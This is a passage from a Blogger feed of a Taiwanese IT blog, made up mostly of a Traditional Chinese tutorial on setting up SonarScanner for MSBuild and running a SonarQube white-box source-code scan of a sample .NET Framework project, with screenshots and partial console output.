&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;如果前面各步驟無誤，應該可以完成掃描，最後會看到「&lt;span style=&quot;color: #990000;&quot;&gt;EXECUTION SUCCESS&lt;/span&gt;」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxKXZWG0p6JO9pQYib6ZMz80Xt_FfAh46dyKuTemv9oRqCGATsX1BTEJr_G-HNwW-4TJznnHv5BaV01blmVNtixZgA7toI__xQT3l2DdJ93mMUHIpJ3KIR_umnmV050j1YaSSe4mHxDNJmWTki1HNDxHWSuZ7dnuLu1r0V4Rvbuw9esSAKckVN6PYsb7qk/s1594/011.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;404&quot; data-original-width=&quot;1594&quot; height=&quot;162&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxKXZWG0p6JO9pQYib6ZMz80Xt_FfAh46dyKuTemv9oRqCGATsX1BTEJr_G-HNwW-4TJznnHv5BaV01blmVNtixZgA7toI__xQT3l2DdJ93mMUHIpJ3KIR_umnmV050j1YaSSe4mHxDNJmWTki1HNDxHWSuZ7dnuLu1r0V4Rvbuw9esSAKckVN6PYsb7qk/w640-h162/011.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
   &lt;hr style=&quot;border: 2px solid rgb(174, 214, 241);&quot; /&gt;&amp;nbsp; &amp;nbsp;關於 dotNet Framework 專案的掃描，請參閱：&lt;a href=&quot;http://以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）&quot;&gt;以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）
&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/312938090491174046/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/312938090491174046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/312938090491174046'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html' title='以SonarQube掃描dotNet Core專案源碼（白箱掃描）'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s72-w400-h63-c/sonar_net_003.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-4274567344090937741</id><published>2023-09-24T16:17:00.005+08:00</published><updated>2023-09-26T20:29:32.642+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(17, 122, 101); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/?gads_campaign=SQ-Mroi-PMax&amp;amp;gads_ad_group=Global&amp;amp;gads_keyword=&amp;amp;_gl=1*va5gvw*_up*MQ..&amp;amp;gclid=CjwKCAjwmbqoBhAgEiwACIjzEI66FX1-IEadA5PhZD8AlOYcaDmlO2JNog-wx0y8seU7bEGnQSX7NBoCkNAQAvD_BwE&quot; target=&quot;_blank&quot;&gt;SonarQube&lt;/a&gt;是一套白箱掃描工具，本例使用開源免費的Community版&lt;span style=&quot;text-indent: 2em;&quot;&gt;本，有關安裝方式可參考「&lt;a href=&quot;http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html&quot; target=&quot;_blank&quot;&gt;在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）&lt;/a&gt;」&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;本文以SonarQube提供的範例「&lt;a href=&quot;https://github.com/SonarSource/sonar-scanning-examples&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #bf9000;&quot;&gt;sonar-scanning-examples-master&lt;/span&gt;&lt;/b&gt;\&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;sonarqube-scanner-msbuild&lt;/span&gt;&lt;/b&gt;\&lt;b style=&quot;background-color: #fcff01;&quot;&gt;CSharpProject&lt;/b&gt;&lt;/a&gt;」做示範說明，若想掃描其他.netFramework專案，請依該專案環境、結構酌作調整，尤其工具及SDK的版本。&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;一、必要需求&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)&lt;a href=&quot;https://docs.sonarqube.org/latest/analysis/scan/sonarscanner-for-msbuild/&quot; target=&quot;_blank&quot;&gt;SonarScanner for .NET&lt;/a&gt;（本例選用sonar-scanner-msbuild-5.11.0.60783-net46.zip）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)MSBuild V14以上（VS Community 2019以上，本例選用&lt;a href=&quot;https://visualstudio.microsoft.com/zh-hant/vs/community/&quot; target=&quot;_blank&quot;&gt;VS Community 2022&lt;/a&gt;）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(三)符合專案所需的.Net Framework（本例使用VS Community 2022自帶版本）&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;二、選用需求&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 2em; margin-top: 0px;&quot;&gt;將SonarScanner for .NET 執行檔和 MSBuild.EXE 的所在路徑加入 &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Path&lt;/span&gt;&lt;/b&gt; 環境變數，若不加入環境變數，執行命令時，必須手動指定完整路徑。&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;三、各項需求安裝&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;&lt;b&gt;(一)安裝SonarScanner for .NET：&lt;/b&gt;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px;&quot;&gt;將所下載的 sonar-scanner-msbuild-5.11.0.60783-net46.zip 解壓縮到自選目錄，例如「C:\sonar-scanner-msbuild-5.11.0.60783-net46」&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 0px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;b&gt;(二)安裝Visual Studio Community 2022：&lt;/b&gt;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; margin-top: 0px; text-indent: -2em;&quot;&gt;1.下載 &lt;a href=&quot;https://visualstudio.microsoft.com/zh-hant/vs/community/&quot; target=&quot;_blank&quot;&gt;VisualStudioSetup.exe&amp;nbsp;&lt;/a&gt;（VS Community 2022的安裝檔），並執行安裝。&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;2.安裝過程中，請加選「.NET Framework 4.6.2-4.7.1開發工具」和「.NET Framework 4.8.1開發工具」&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9MqaAnOLxREu3uLG3CGhCbaYAB6HYPIWWKFdUra-FC4dMIifwT2kNuSLZpIvn6i0imgfqddym7miHVkmn0aNDnRuln_wEcHw-TyS3lPZWnghgiPYv4hPX7E9Ty5gYTXBXdojXbQx4FQlkAW9Kd9NWJr3Fxls8gHuoKjIECC1Yka14kXWbLZ_q4CYd5R7o/s1245/vs-community_001.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;713&quot; data-original-width=&quot;1245&quot; height=&quot;229&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9MqaAnOLxREu3uLG3CGhCbaYAB6HYPIWWKFdUra-FC4dMIifwT2kNuSLZpIvn6i0imgfqddym7miHVkmn0aNDnRuln_wEcHw-TyS3lPZWnghgiPYv4hPX7E9Ty5gYTXBXdojXbQx4FQlkAW9Kd9NWJr3Fxls8gHuoKjIECC1Yka14kXWbLZ_q4CYd5R7o/w400-h229/vs-community_001.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;四、檢測所需環境&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)執行「C:\sonar-scanner-msbuild-5.11.0.60783-net46\SonarScanner.MSBuild.exe /?」會看到Sonar-scanner for .net的使用說明。&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZZLOmVNaR5tsT3d_gGoptJmNzxjhS0z1YK8gSCxMyDUYcC7iqWrwRy3R49asHLIP1XuLblim627DidYfYOV81NtO1347SeRoc0P9SMD4psfZ9Ct5hdI1QdMHReBl_VxLhH8BgGqHcrFQLxReyu580UDe5fyCA9obI23qXOYtWwGpCsamQ_aKPZK1XloE-/s1234/sonar_net_001.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;229&quot; data-original-width=&quot;1234&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZZLOmVNaR5tsT3d_gGoptJmNzxjhS0z1YK8gSCxMyDUYcC7iqWrwRy3R49asHLIP1XuLblim627DidYfYOV81NtO1347SeRoc0P9SMD4psfZ9Ct5hdI1QdMHReBl_VxLhH8BgGqHcrFQLxReyu580UDe5fyCA9obI23qXOYtWwGpCsamQ_aKPZK1XloE-/w400-h74/sonar_net_001.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)執行「&quot;C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\msbuild.exe&quot; /version」會看到Msbuild.exe的版本。&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtBybyfojo9t6NHwuusI6LlBxOBZyZJ40PXqj6Quep2lI2h6fagCj52lwI1_jMg2vwt3mkLA1UIXWtfrIdBqh5QI3r3hc3wJKXxlkc9fe9Bv6FLCJRmwf4RTKxqqyTibUzUiOHIm13yhX4mvKsuZ-YYhV_egPJsjMebg3EVZ9CTfzOpQRKMYvMakNYXjh/s1235/sonar_net_002.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;153&quot; data-original-width=&quot;1235&quot; height=&quot;50&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtBybyfojo9t6NHwuusI6LlBxOBZyZJ40PXqj6Quep2lI2h6fagCj52lwI1_jMg2vwt3mkLA1UIXWtfrIdBqh5QI3r3hc3wJKXxlkc9fe9Bv6FLCJRmwf4RTKxqqyTibUzUiOHIm13yhX4mvKsuZ-YYhV_egPJsjMebg3EVZ9CTfzOpQRKMYvMakNYXjh/w400-h50/sonar_net_002.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;color: #274e13; margin-bottom: 0px;&quot;&gt;&lt;b&gt;五、執行掃描&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)啟動SonarQube Scanner Server，假設位於「 &lt;span style=&quot;color: #cc0000;&quot;&gt;http://192.168.232.153:9000&lt;/span&gt;」&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;1. 由Projects頁面選擇「Create Project」-&amp;gt;「Manually」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s1573/sonar_net_003.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;246&quot; data-original-width=&quot;1573&quot; height=&quot;63&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/w400-h63/sonar_net_003.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;2.社群版只能選擇「Locally」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/s647/sonar_net_005.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;647&quot; data-original-width=&quot;440&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/w273-h400/sonar_net_005.PNG&quot; width=&quot;273&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/s700/sonar_net_004.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;549&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/w314-h400/sonar_net_004.PNG&quot; width=&quot;314&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;4.產生Project Token（專案身份代號）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/s815/sonar_net_006.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;613&quot; data-original-width=&quot;815&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/w400-h301/sonar_net_006.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;5.請記下Project Token&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiudrra5PUPAamjWTSqbZYWPrRqR-AHYgkVJ8bB2YQCIR2F8FmCsP9Eqlhinp0ybu4oDhYofIgT9qv_B2wUfexUS9aWWmKW_J6zSbxDMWNaiY1RbOSsz5LMXpD3mlWj9AvlgueoGViAy2h80LwJBYIaPV7drpGjZfDFAD7WZ4CDriOQZaIjDa83t_uSydcM/s812/sonar_net_007.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;553&quot; data-original-width=&quot;812&quot; height=&quot;272&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiudrra5PUPAamjWTSqbZYWPrRqR-AHYgkVJ8bB2YQCIR2F8FmCsP9Eqlhinp0ybu4oDhYofIgT9qv_B2wUfexUS9aWWmKW_J6zSbxDMWNaiY1RbOSsz5LMXpD3mlWj9AvlgueoGViAy2h80LwJBYIaPV7drpGjZfDFAD7WZ4CDriOQZaIjDa83t_uSydcM/w400-h272/sonar_net_007.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;6.選擇要被掃描的專案類型（.NET）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4oJwac08e5AL_MMBNpKKZ8eUrlR6auvM7OvTLQMJB1mCad_Nw0cJFUz0WK5QzXtNlO5nmj_d3rO3vQl3mp7HCPSLvbCngkFbeHatUmGuaX8Yvavqniy663_wmmkPJQkPt8iyJwJn9KYfmuN0KIvFnC4WiSYQjMvorqS2nsY4GwxTgyj8twFHrHmgFcfk/s630/sonar_net_008.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;531&quot; data-original-width=&quot;630&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4oJwac08e5AL_MMBNpKKZ8eUrlR6auvM7OvTLQMJB1mCad_Nw0cJFUz0WK5QzXtNlO5nmj_d3rO3vQl3mp7HCPSLvbCngkFbeHatUmGuaX8Yvavqniy663_wmmkPJQkPt8iyJwJn9KYfmuN0KIvFnC4WiSYQjMvorqS2nsY4GwxTgyj8twFHrHmgFcfk/w400-h338/sonar_net_008.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;7.選擇.NET的型態（.NET Framework）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOV1DPcOt5GzcNsYc53KD7ESEHk76WzOrgJgHheUyQIExvKiy-guzN-LuYZCxO7Q1NI42zZ9VT2fWkngaU7ALNMBwOiA3haegQ0YSH8_bafTP-JMP-TuJclu0fyFKgVRM6csk9kRDbSeKkRklIHA3IzFM0WV7LP1gV-n-bHKM2t5EkosOv3qTZibjX33F3/s1544/sonar_net_009.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1050&quot; data-original-width=&quot;1544&quot; height=&quot;272&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOV1DPcOt5GzcNsYc53KD7ESEHk76WzOrgJgHheUyQIExvKiy-guzN-LuYZCxO7Q1NI42zZ9VT2fWkngaU7ALNMBwOiA3haegQ0YSH8_bafTP-JMP-TuJclu0fyFKgVRM6csk9kRDbSeKkRklIHA3IzFM0WV7LP1gV-n-bHKM2t5EkosOv3qTZibjX33F3/w400-h272/sonar_net_009.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
 &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(三)複製剛剛建立掃描專案時，SonarQube所提供的三段命令，利用文字編輯器酌作調整，並以「&lt;span style=&quot;color: #990000;&quot;&gt;Sonar_net-framework-example.bat&lt;/span&gt;」檔名儲存在.netFramework方案目錄下（保有&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;.sln&lt;/span&gt;&lt;/b&gt;方案檔的目錄，本例為C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject）&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLxaAoF-3lDxTq1LQyPE6kadraMtvii-sk47xb5iWCEcSUQeJsO4zSEAmGF34f6K8IH0CrKRXOcrgvBOB7he13BRTX8nizc-1rEBgwCd4j8K4waVuTmYBAIJANmqoTyPJs9X42S3XrcwAf-5lBmTHIqoHmITlWG4Gyi_FJFEcACUKuIF8A3cGYinb6YtcY/s1468/sonar_net_010.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;473&quot; data-original-width=&quot;1468&quot; height=&quot;129&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLxaAoF-3lDxTq1LQyPE6kadraMtvii-sk47xb5iWCEcSUQeJsO4zSEAmGF34f6K8IH0CrKRXOcrgvBOB7he13BRTX8nizc-1rEBgwCd4j8K4waVuTmYBAIJANmqoTyPJs9X42S3XrcwAf-5lBmTHIqoHmITlWG4Gyi_FJFEcACUKuIF8A3cGYinb6YtcY/w400-h129/sonar_net_010.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(四)以系統管理員身分開啟命令提示字元，將工作目錄切換到.netFramework方案目錄&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(五)直接執行「Sonar_net-framework-example.bat」(執行過程如下)&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px dashed rgb(211, 84, 0); font-size: 10pt; line-height: 100%; padding: 4px; word-break: break-all;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;cd C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;Sonar_net-framework-example.bat&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
SonarScanner for MSBuild 5.11&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Using the .NET Framework version of the Scanner for MSBuild&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Pre-processing started.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
Preparing working directories...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
08:56:22.776&amp;nbsp; Updating build integration targets...&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;color: white;&quot;&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style=&quot;color: #6fa8dc;&quot;&gt;SonarWriteProjectData:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;
&amp;nbsp; Sonar: (SomeConsoleApplicationTest.csproj) Project processed successfully&lt;/span&gt;&lt;br /&gt;
&lt;b style=&quot;color: white;&quot;&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style=&quot;color: #04ff00;&quot;&gt;建置成功。&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #fcff01;&quot;&gt;&lt;span&gt;&quot;C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild\CSharpProject\SomeConsoleApplication.sln&quot; (Rebuild 目標) (1)&lt;/span&gt;&lt;br /&gt;
